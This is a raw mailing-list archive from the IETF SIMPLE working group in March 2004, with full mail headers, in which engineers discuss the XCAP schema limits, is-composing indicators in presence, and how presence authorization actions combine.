	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14563
	for <simple-web-archive@ietf.org>; Tue, 16 Mar 2004 13:12:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J3Z-0006Jo-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 13:12:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3J2e-0006FQ-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 13:11:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J1r-0006BG-00; Tue, 16 Mar 2004 13:11:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3J1p-0006CW-Ua; Tue, 16 Mar 2004 13:11:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3J1c-0006Bd-F4
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 13:10:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14465
	for <simple@ietf.org>; Tue, 16 Mar 2004 13:10:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J1a-00069x-00
	for simple@ietf.org; Tue, 16 Mar 2004 13:10:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3J0f-00065s-00
	for simple@ietf.org; Tue, 16 Mar 2004 13:09:50 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J05-0005xp-00
	for simple@ietf.org; Tue, 16 Mar 2004 13:09:13 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i2GI8ZLc029210
	for <simple@ietf.org>; Tue, 16 Mar 2004 12:08:35 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 16 Mar 2004 12:06:39 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <HCBRWLNH>; Tue, 16 Mar 2004 12:07:26 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C9631@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain
X-OriginalArrivalTime: 16 Mar 2004 18:06:39.0812 (UTC) FILETIME=[6E0B0840:01C40B81]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 12:07:03 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

> Are you suggesting abandoning PUBLISH? Or just changing the schema to 
> restrict what you can set with xcap?

I would like to change the schema to restrict what you can set with XCAP.
That way we minimize the potential misue of XCAP, both by implementors and/or end users
PUBLISH is OK. I see no problems with it.
The architecture is Ok as well. We need a way to set hard states.

Thnx/gf

> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 16 16:12:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24826
	for <simple-archive@ietf.org>; Tue, 16 Mar 2004 16:12:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Lr4-0001E0-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 16:12:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Lq8-00017B-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 16:11:09 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3LpG-00010v-00; Tue, 16 Mar 2004 16:10:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B3LpG-0008Np-8M; Tue, 16 Mar 2004 16:10:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Lp3-0003BZ-T7; Tue, 16 Mar 2004 16:10:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Lo6-00039M-PI
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 16:09:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24697
	for <simple@ietf.org>; Tue, 16 Mar 2004 16:08:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Lo5-0000tv-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:09:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3LnG-0000ol-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:08:11 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3LmQ-0000e4-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:07:18 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GL6jNr019572;
	Tue, 16 Mar 2004 16:06:45 -0500 (EST)
Message-ID: <40576C58.80505@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu>
In-Reply-To: <4051D53E.7010509@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 16:06:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> 
>>
>> OK, except I see "has focus" as being orthogonal to is-composing, so 
>> I'd think you'd want both.
> 
> 
> My assumption was that composing implied focus, but not vice versa. How 
> could I compose without window focus?

True, but the opposite is not true. If the window does have focus, I can 
either be typing or not. Thats what I was thinking about. But I think we 
should punt on this for now.


> 
> 
>>> Something like
>>>
>>> <composing since="..." media="text">active</composing>
>>>
>>> The advantage is that this would also allow to convey this easily to 
>>> third parties, via PIDF subscription.
>>
>>
>>
>> Yes, that was the idea.
>>
>> I'm on the fence on this one. The state is really dynamic, and its not 
>> clear how useful for me, or anyone else, it would be to know that you 
>> are currently typing an IM to someone else. Indeed, its far from clear 
>> that even if I did know, would this impact your availability to 
>> receive another IM? Not clear.
>>
>> Another question is authorization. Do we ever think anyone would 
>> authorize a third party to see their is-typing indicators? Or that we 
>> would expect a PUA to publish them to a PA?
>>
>> Another drawback is that the pidf document is larger than a simpler 
>> is-composing format, though not by much I suppose.
> 
> 
> At this point, since there don't seem to be compelling advantages and 
> given Paul's subsequent note on the importance of a per-session nature 
> of this indication, maybe expediency and making-progress argue for 
> sticking to the minimal notification variation.

I'll go with that, and make a final comment on the differences between 
the two.

In a message session, the indicator means "I'm typing a message to you 
right now". In a third party presence notification, we generally want to 
convey information that helps a watcher make a choice about whether to 
communicate with the presentity, and with what tuple. I would argue that 
whether or not I'm typing an IM this instant is NOT useful for that 
purpose. Really what we are after is "I have an IM session active with 
someone else right now". Thats a coarser grained statement, and more 
useful. indeed, its the exactly analogy of being on a call, but for IM.

So, I more or less convinced myself that is-typing was not in and of 
itself useful for presence, and so using a pidf extension for this is 
not the right approach.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 16 16:12:36 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24888
	for <simple-archive@odin.ietf.org>; Tue, 16 Mar 2004 16:12:36 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Lr7-0003Xd-5e
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 16:12:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2GLC9Pr013609
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 16:12:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Lr6-0003XQ-Rv
	for simple-web-archive@optimus.ietf.org; Tue, 16 Mar 2004 16:12:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24838
	for <simple-web-archive@ietf.org>; Tue, 16 Mar 2004 16:12:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Lr5-0001E6-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 16:12:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Lq9-00017J-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 16:11:10 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3LpG-00010v-00; Tue, 16 Mar 2004 16:10:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B3LpG-0008Np-8M; Tue, 16 Mar 2004 16:10:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Lp3-0003BZ-T7; Tue, 16 Mar 2004 16:10:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Lo6-00039M-PI
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 16:09:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24697
	for <simple@ietf.org>; Tue, 16 Mar 2004 16:08:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Lo5-0000tv-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:09:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3LnG-0000ol-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:08:11 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3LmQ-0000e4-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:07:18 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GL6jNr019572;
	Tue, 16 Mar 2004 16:06:45 -0500 (EST)
Message-ID: <40576C58.80505@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu>
In-Reply-To: <4051D53E.7010509@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 16:06:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> 
>>
>> OK, except I see "has focus" as being orthogonal to is-composing, so 
>> I'd think you'd want both.
> 
> 
> My assumption was that composing implied focus, but not vice versa. How 
> could I compose without window focus?

True, but the opposite is not true. If the window does have focus, I can 
either be typing or not. Thats what I was thinking about. But I think we 
should punt on this for now.


> 
> 
>>> Something like
>>>
>>> <composing since="..." media="text">active</composing>
>>>
>>> The advantage is that this would also allow to convey this easily to 
>>> third parties, via PIDF subscription.
>>
>>
>>
>> Yes, that was the idea.
>>
>> I'm on the fence on this one. The state is really dynamic, and its not 
>> clear how useful for me, or anyone else, it would be to know that you 
>> are currently typing an IM to someone else. Indeed, its far from clear 
>> that even if I did know, would this impact your availability to 
>> receive another IM? Not clear.
>>
>> Another question is authorization. Do we ever think anyone would 
>> authorize a third party to see their is-typing indicators? Or that we 
>> would expect a PUA to publish them to a PA?
>>
>> Another drawback is that the pidf document is larger than a simpler 
>> is-composing format, though not by much I suppose.
> 
> 
> At this point, since there don't seem to be compelling advantages and 
> given Paul's subsequent note on the importance of a per-session nature 
> of this indication, maybe expediency and making-progress argue for 
> sticking to the minimal notification variation.

I'll go with that, and make a final comment on the differences between 
the two.

In a message session, the indicator means "I'm typing a message to you 
right now". In a third party presence notification, we generally want to 
convey information that helps a watcher make a choice about whether to 
communicate with the presentity, and with what tuple. I would argue that 
whether or not I'm typing an IM this instant is NOT useful for that 
purpose. Really what we are after is "I have an IM session active with 
someone else right now". Thats a coarser grained statement, and more 
useful. indeed, its the exactly analogy of being on a call, but for IM.

So, I more or less convinced myself that is-typing was not in and of 
itself useful for presence, and so using a pidf extension for this is 
not the right approach.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 16 16:29:11 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26372
	for <simple-archive@ietf.org>; Tue, 16 Mar 2004 16:29:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M7c-0003ku-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 16:29:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3M6e-0003cC-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 16:28:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M5W-0003RT-00; Tue, 16 Mar 2004 16:27:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3M5V-0004WE-NN; Tue, 16 Mar 2004 16:27:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3M52-0004Ua-94
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 16:26:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25951
	for <simple@ietf.org>; Tue, 16 Mar 2004 16:26:28 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M50-0003Jo-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:26:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3M3r-00036k-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:25:20 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M2k-0002sz-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:24:10 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2GLO7416027;
	Tue, 16 Mar 2004 23:24:07 +0200 (EET)
X-Scanned: Tue, 16 Mar 2004 23:23:56 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2GLNuRn000544;
	Tue, 16 Mar 2004 23:23:56 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00BxZIh2; Tue, 16 Mar 2004 23:23:54 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2GLNrs01889;
	Tue, 16 Mar 2004 23:23:53 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 16 Mar 2004 23:23:51 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A39F@esebe018.ntc.nokia.com>
Thread-Topic: Presence authorization: confirmation vs. accept-subscription
Thread-Index: AcQLZ3apUjTYzMKSQcuUaEatrRjxPwAMtAnA
To: <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 16 Mar 2004 21:23:51.0034 (UTC) FILETIME=[FA003DA0:01C40B9C]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 23:23:50 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Jonathan,

I think there are clear problems in the current draft where the actions =
are not orthogonal, nor do they have a "privacy order". For instance I =
would like to define my authorization so that presence is always =
provided to a list of friends, and in case the watcher is not on that =
list, he or she would require confirmation. I don't see any other way to =
do this than having one rule for the friends resulting in =
"accept-subscription", and another rule applying to all watchers that =
would result in "confirmation". Now, if someone on the friends list =
subscribes to my presence, both rules apply.=20

The new proposal (in your mail below) where the actions are have a =
well-defined privacy order makes much more sense. I suggest we adopt it.

BTW, I believe in this case "block" would need to be the default, since =
the strictest privacy should be applied in the absense of any rules. =
Correct?

Markus

> -----Original Message-----
> From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: 16 March, 2004 16:57
> To: Isomaki Markus (Nokia-NRC/Helsinki)
> Cc: simple@ietf.org
> Subject: Re: Presence authorization: confirmation vs.
> accept-subscription
>=20
>=20
>=20
> Markus,
>=20
> This is a good comment. Generally, the permissions (actions and=20
> transformations) should ideally be orthogonal. If they're not, its=20
> worthwhile looking into combining them. So, let us look at which=20
> combinations make sense:
>=20
>=20
> confirmation  | accept-sub |  provide-pres | comment
> ------------------------------------------------------------------
>   false           false        false          do nothing - makes sense
>   false           false        true           doesnt make sense - need
>                                               to accept sub to
>                                               provide presence
>   false           true         false          basic polite blocking
>   false           true         true           basic white list
>   true            false        false          pending
>   true            false        true           makes no sense
>   true            true         false          makes no sense
>   true            true         true           makes no sense
>=20
>=20
> So, it seems like there are only a few combinations that make sense.=20
> Perhaps it would be a better idea to combine all three into a single=20
> operation - <sub-handling> and have the following values:
>=20
> block : deny the subscription
> confirm : subscription is pending
> polite-block: accept it, but provide no presence
> allow: accept it and provide presence
>=20
> In terms of privacy, these would be in increasing order of integral=20
> values. That means that if one rule assigns a value of "confirm", and=20
> another "polite-block", the result is "polite-block".
>=20
> Thoughts?
>=20
> Thanks,
> Jonathan R.
>=20
>=20
> Markus.Isomaki@nokia.com wrote:
>=20
> > Hi,
> >=20
> > A short question before commenting further on the semantic presence
> > authorization rules:
> >=20
> > The presence authorization rules draft defines three actions:
> > "confirmation", "accept-subscription" and "provide-presence".
> > "confirmation" is derived from the common policy spec. It says that
> > if there is a "confirmation" action, the subscription is put to
> > pending state and it waits for the rule maker to upload further
> > rules.
> >=20
> > However, what if one matching rule defines the action "confirmation"
> > and another one "accept-subscription" & "provide-presence"?
> > Intuitively (and by the additiveness principle) this means that the
> > "accept-subscription" is the more "liberal" rule, and should be
> > followed. However, there is no text in the draft describing how to
> > combine the actions, only transformations are covered.
> >=20
> > Regards, Markus
> >=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 16 16:29:43 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26427
	for <simple-archive@odin.ietf.org>; Tue, 16 Mar 2004 16:29:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3M7f-0004gQ-D3
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 16:29:15 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2GLTFlk018001
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 16:29:15 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3M7f-0004gG-8o
	for simple-web-archive@optimus.ietf.org; Tue, 16 Mar 2004 16:29:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26384
	for <simple-web-archive@ietf.org>; Tue, 16 Mar 2004 16:29:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M7d-0003kz-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 16:29:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3M6e-0003cJ-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 16:28:13 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M5W-0003RT-00; Tue, 16 Mar 2004 16:27:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3M5V-0004WE-NN; Tue, 16 Mar 2004 16:27:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3M52-0004Ua-94
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 16:26:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25951
	for <simple@ietf.org>; Tue, 16 Mar 2004 16:26:28 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M50-0003Jo-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:26:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3M3r-00036k-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:25:20 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3M2k-0002sz-00
	for simple@ietf.org; Tue, 16 Mar 2004 16:24:10 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
